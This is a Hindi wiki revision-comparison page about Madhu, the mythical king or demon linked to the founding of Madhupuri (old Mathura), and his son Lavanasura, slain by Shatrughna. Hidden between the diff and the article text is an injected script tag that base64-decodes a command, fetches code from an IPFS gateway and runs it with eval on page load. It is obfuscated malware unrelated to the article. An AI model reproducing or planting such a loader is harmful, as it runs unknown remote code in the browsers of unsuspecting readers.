"मधु" के अवतरणों में अंतर
फ़ौज़िया ख़ान (चर्चा | योगदान) |
|||
(७ सदस्यों द्वारा किये गये बीच के ९ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | ==मधु / Madhu== | + | {{menu}} |
− | + | ==मधु / मधुपुरी / मधुरा / Madhu / Madhupuri / Madhura== | |
+ | ==परिचय== | ||
+ | मधु राजा के सौ पुत्रों में से ज्येष्ठ पुत्र, एक यादवराज था। मधु राजा के कुल में श्री [[कृष्ण]] पैदा हुए थे और इसी कारण 'वार्ष्णेय' कहलाए। इनका वंश 'वृष्णि वंशीय यादव' कहलाता था। ये लोग [[द्वारिका]] में निवास करते थे। प्रभास क्षेत्र में यादवों के गृह कलह में यह वंश भी समाप्त हो गया। | ||
+ | मधु की पत्नी का नाम कुंभीनसी था और मधु के पुत्र का नाम लवण का था। [[त्रेता युग]] में प्रभु [[राम]] के [[लघु]] भ्राता [[शत्रुघ्न]] ने मधु पुत्र [[लवणासुर]] को मार कर ब्रज परिक्रमा की थी। गली बारी स्थित शत्रुघ्न मंदिर यात्रा मार्ग में अति महत्व का माना जाता है। | ||
+ | ==शासन== | ||
+ | *मधु [[इक्ष्वाकु वंशी]] राजा दिलीप द्वितीय का अथवा उसके उत्तराधिकारी दीर्घबाहु का समकालीन रहा होगा मधु के गुजरात से लेकर यमुना तट तक के स्वामी होने का वर्णन है। | ||
+ | *मधु का शासन शूरसेन से आनर्त (उत्तरी गुजरात) तक के भू-भाग पर था। | ||
+ | *[[यदुवंशी]] मधु का शासन [[मथुरा]] पर भी था। | ||
+ | *मधु अत्यंत प्रतापी, प्रजा-पालक और धार्मिक नरेश था। | ||
+ | *मधु को अच्छा शासक माना जाता है। | ||
+ | *इतिहास पर दृष्टि डालें तो स्पष्ट हो जाता है कि मधु नामक दैत्य ने जब मथुरा का निर्माण किया तो निश्चय ही यह नगरी बहुत सुन्दर और भव्य रही होगी। | ||
+ | ==मधु द्वारा निर्माण== | ||
+ | मधुपुरी को मधु नामक दैत्य ने बसाया था। वाल्मीकि रामायण में मथुरा को [[मधुपुर]] या मधुदानव का नगर कहा गया है तथा यहाँ लवणासुर की राजधानी बताई गई है। मधु के अत्याचारी पुत्र लवणासुर को शत्रुघ्न ने युद्ध में पराजित कर उसका वध कर दिया था और मधुपुरी के स्थान पर उन्होंने नई मथुरा या मथुरा नगरी बसाई थी। मधुवन या मधुपुरी मधु के नाम पर ही है जो कि मथुरा का पुराना नाम है। इस नगरी को इस प्रसंग में मधुदैत्य द्वारा बसाई, बताया गया है। लवणासुर, जिसको शत्रुघ्न ने युद्ध में हराकर मारा था इसी मधुदानव का पुत्र था। इससे मधुपुरी या मथुरा का [[रामायण]]-काल में बसाया जाना सूचित होता है। रामायण में इस नगरी की समृद्धि का वर्णन है। | ||
− | [[ | + | |
+ | [[Category:कोश]] | ||
+ | [[Category:पौराणिक इतिहास]] | ||
+ | __INDEX__ |
१३:५६, २८ जून २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
मधु / मधुपुरी / मधुरा / Madhu / Madhupuri / Madhura
परिचय
मधु राजा के सौ पुत्रों में से ज्येष्ठ पुत्र, एक यादवराज था। मधु राजा के कुल में श्री कृष्ण पैदा हुए थे और इसी कारण 'वार्ष्णेय' कहलाए। इनका वंश 'वृष्णि वंशीय यादव' कहलाता था। ये लोग द्वारिका में निवास करते थे। प्रभास क्षेत्र में यादवों के गृह कलह में यह वंश भी समाप्त हो गया।
मधु की पत्नी का नाम कुंभीनसी था और मधु के पुत्र का नाम लवण का था। त्रेता युग में प्रभु राम के लघु भ्राता शत्रुघ्न ने मधु पुत्र लवणासुर को मार कर ब्रज परिक्रमा की थी। गली बारी स्थित शत्रुघ्न मंदिर यात्रा मार्ग में अति महत्व का माना जाता है।
शासन
- मधु इक्ष्वाकु वंशी राजा दिलीप द्वितीय का अथवा उसके उत्तराधिकारी दीर्घबाहु का समकालीन रहा होगा मधु के गुजरात से लेकर यमुना तट तक के स्वामी होने का वर्णन है।
- मधु का शासन शूरसेन से आनर्त (उत्तरी गुजरात) तक के भू-भाग पर था।
- यदुवंशी मधु का शासन मथुरा पर भी था।
- मधु अत्यंत प्रतापी, प्रजा-पालक और धार्मिक नरेश था।
- मधु को अच्छा शासक माना जाता है।
- इतिहास पर दृष्टि डालें तो स्पष्ट हो जाता है कि मधु नामक दैत्य ने जब मथुरा का निर्माण किया तो निश्चय ही यह नगरी बहुत सुन्दर और भव्य रही होगी।
मधु द्वारा निर्माण
मधुपुरी को मधु नामक दैत्य ने बसाया था। वाल्मीकि रामायण में मथुरा को मधुपुर या मधुदानव का नगर कहा गया है तथा यहाँ लवणासुर की राजधानी बताई गई है। मधु के अत्याचारी पुत्र लवणासुर को शत्रुघ्न ने युद्ध में पराजित कर उसका वध कर दिया था और मधुपुरी के स्थान पर उन्होंने नई मथुरा या मथुरा नगरी बसाई थी। मधुवन या मधुपुरी मधु के नाम पर ही है जो कि मथुरा का पुराना नाम है। इस नगरी को इस प्रसंग में मधुदैत्य द्वारा बसाई, बताया गया है। लवणासुर, जिसको शत्रुघ्न ने युद्ध में हराकर मारा था इसी मधुदानव का पुत्र था। इससे मधुपुरी या मथुरा का रामायण-काल में बसाया जाना सूचित होता है। रामायण में इस नगरी की समृद्धि का वर्णन है।